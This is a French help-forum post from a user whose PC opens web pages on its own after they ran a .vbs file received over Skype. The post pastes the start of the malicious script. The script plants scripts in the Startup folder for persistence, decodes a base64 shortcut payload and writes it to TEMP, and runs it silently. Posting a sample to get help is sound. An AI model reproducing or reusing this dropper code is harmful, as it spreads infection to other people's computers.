Bonjour,  
 
Excusez-moi si je ne poste pas ça au bon endroit, mais j'ai un très gros soucis !
 
Un peu naif et pour aider quelqu'un j'ai ouvert un fichier .vbs sur skype, mais quelle horreur !
 
En effet maintenant mon PC ouvre des pages tout seul, des pages youtubes avec des musiques de Gregory Lemarchal, des lettres d'amour... -_-"
 
Et impossible de les ouvrir dans mon historique, il les ouvre je pense en navigation privée. J'ai lancer Malwarbyte, j'ai lancer un scan d'Avast (des fois maintenant je recois une petite notification comme quoi avast a freeze)
 
Je ne sais plus quoi faire s'il vous plait aidez moi !  
 
Je vous montre les premières lignes du fichier lorsqu'on l'ouvre en .exe, dites moi evidemment si vous avez besoin de plus je ne voulais pas polluer pour rien!
 
Option Explicit
 
Dim   outFile, FFF, FFFF,WshShell, WshShell1, WshShell2, WshShell3 ,Rurn1,Rurn2,Rurn3 ,strDesktop, strMyPath,  outFileee, outFileeee, strMyPath1,objShell,Fso,unirarr,ff,FilesInZip,unirarrrr,desk,amour,serchelink,messangerrrlink
Set WshShell = WScript.CreateObject("WScript.Shell" )  
Set WshShell1 = WScript.CreateObject("WScript.Shell" )  
Set WshShell2 = WScript.CreateObject("WScript.Shell" )
Set WshShell3 = WScript.CreateObject("WScript.Shell" )
 
Set objShell = CreateObject("Shell.Application" )
set Fso= WScript.CreateObject("Scripting.FileSystemObject" )
strDesktop = WshShell.SpecialFolders("Startup" )
strMyPath = WshShell.ExpandEnvironmentStrings("%USERPROFILE%" )
strMyPath1 = WshShell.ExpandEnvironmentStrings("%TEMP%" )
Dim meee
Set meee = CreateObject("ADODB.Stream" )
meee.Type = 1
  dim DM, EL
  Set DM = CreateObject("Microsoft.XMLDOM" )
  Set EL = DM.createElement("tmp" )
  EL.DataType = "bin.base64"
outFile =strMyPath & "\2.zip"
unirarr=strMyPath & "\amour.jpg"
unirarrrr=strMyPath & "\serche.exe"
 
 
outFileee =strDesktop & "\messangerr.vbs"
desk =strDesktop & "\serche.vbs"
amour=strMyPath1 & "\amour.lnk"
serchelink=strMyPath1 & "\serche.lnk"
messangerrrlink=strMyPath1 & "\messangerrr.lnk"
 
If  Fso.FileExists(unirarr)   Then
 
 
FFF =  "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"
 
  EL.Text = FFF
  FFFF = EL.NodeTypedValue
 
 
 
 
 
meee.Open
  meee.Write FFFF
  meee.SaveToFile amour, 2
meee.close
 
Rurn1 = WshShell1.Run(amour ,0)  
 
Else
 
 
 
 
 
 
FFF =  "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"
 
  EL.Text = FFF
  FFFF = EL.NodeTypedValue
 
 
 
 
 
meee.Open
  meee.Write FFFF
  meee.SaveToFile amour, 2
meee.close
 
 
 

mauvaise section ==> ici http://forum.hardware.fr/hfr/Windo [...] ujet-1.htm